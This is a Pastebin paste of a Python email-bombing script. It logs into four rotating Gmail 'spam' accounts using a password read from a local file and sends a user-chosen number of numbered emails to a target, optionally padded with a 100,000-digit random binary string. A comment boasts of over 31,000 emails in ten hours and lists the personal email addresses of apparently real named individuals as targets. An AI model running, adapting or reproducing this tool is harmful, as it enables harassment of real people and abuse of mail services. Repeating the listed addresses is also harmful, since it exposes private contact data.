Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- import sys
- import time
- from random import randint
- '''
- Email´s :
- 10 Hours of E-mail spam ~ >31000 E-mails
- < KIM >
- kim.philipp@icloud.com
- < DAVID >
- david.aksoy83@googlemail.com
- david-aksoy83@gmx.com
- < MEINE >
- s.hawranke0601@gmail.com
- s.hawranke0701@gmail.com
- s.hawranke0801@gmail.com
- email.spam1337@gmail.com
- email.spam1336@gmail.com
- email.spam1335@gmail.com
- email.spam1334@gmail.com
- '''
- def email_send(my_email, counter, pw, email_target):
- which_email = 0
- amount_emails = int(input("Please enter the amount of e-mails you wanna send. \n"))
- print("- - - - - - - - - - - - - - - - - - - - ")
- email_message = input("Enter your email text message. [ Binary, Pic ]\n")
- print("- - - - - - - - - - - - - - - - - - - - ")
- '''writes an binary code in the email message'''
- if email_message == "binary":
- email_message = binary_message(email_message)
- else:
- pass
- ''' tracks the time '''
- start_time = time.time()
- while counter <= amount_emails:
- if which_email == 4:
- which_email = 0
- else:
- pass
- mail = smtplib.SMTP("smtp.gmail.com", 587)
- mail.ehlo()
- mail.starttls()
- mail.login(my_email[which_email], pw[0])
- subject = ("%d .e-mail" %(counter))
- email_message_and_subject = "Subject: {} \n\n{}".format(subject, email_message)
- mail.sendmail(my_email[which_email], email_target, str(email_message_and_subject))
- print(counter, "email´s have already been sent")
- counter += 1
- which_email += 1
- now = time.time()
- time_difference = now - start_time
- print()
- time.sleep(0.4)
- print(amount_emails, "emails successfully sent ->", email_target, "tooks %2f seconds." % (time_difference,))
- print("- - - - - - - - - - - - - - - - - - - - ")
- def email_target_question():
- email_target_operation = input("Enter your target email [ David / Kim / Ich / spam acc]\n")
- print("- - - - - - - - - - - - - - - - - - - - ")
- if email_target_operation == "david":
- email_target_operation = ("david.aksoy83@googlemail.com")
- elif email_target_operation == "kim":
- email_target_operation = ("kim.philipp@icloud.com")
- elif email_target_operation == "ich":
- email_target_operation = ("s.hawranke0601@gmail.com")
- elif email_target_operation == "spam acc":
- email_target_operation = ("email.spam1337@gmail.com")
- else:
- pass
- return email_target_operation
- def email_change(email_target, email_send, my_email, counter, pw, email_target_question):
- while program_stop == False:
- email_change_question = input("Do you wanna change the email ? [ Y / N / EXIT ]\n")
- print("- - - - - - - - - - - - - - - - - - - - ")
- if email_change_question == "y":
- email_target = email_target_question()
- email_send(my_email, counter, pw, email_target)
- elif email_change_question == "n":
- email_send(my_email, counter, pw, email_target)
- elif email_change_question == "exit":
- sys.exit(0)
- def read_password_out_of_file(pw):
- ''' opens the .txt file as myfile '''
- with open("EmailPW.txt", "r") as my_file:
- ''' adds the password to the list '''
- for passwords in my_file:
- pw.append(passwords)
- return pw
- def email_run(email_counter, email_target):
- while True:
- if len(email_counter) == 0:
- ''' First program loop '''
- email_target = email_target_question()
- email_send(my_email, counter, pw, email_target)
- email_counter.append(1)
- return email_counter
- else:
- ''' Second and last program loop '''
- email_change(email_target, email_send, my_email, counter, pw, email_target_question)
- def binary_message(email_message):
- binary_message = []
- for i in range(1, 100000):
- random_number = randint(0, 1)
- binary_message.append(str(random_number))
- email_message = str(binary_message[0:-1])
- return email_message
- ''' Beginning '''
- if __name__ == "__main__":
- ''' creates an empty list '''
- pw = []
- email_target = None
- counter = 1
- email_counter = []
- ''' Emails comes From : '''
- my_email = ["email.spam1334@gmail.com", "email.spam1335@gmail.com", "email.spam1336@gmail.com", "email.spam1337@gmail.com"]
- ''' Gets the password out of the .txt file and saves it in a list '''
- read_password_out_of_file(pw)
- ''' Program start '''
- program_stop = False
- while not program_stop:
- email_run(email_counter, email_target)
Add Comment
Please, Sign In to add comment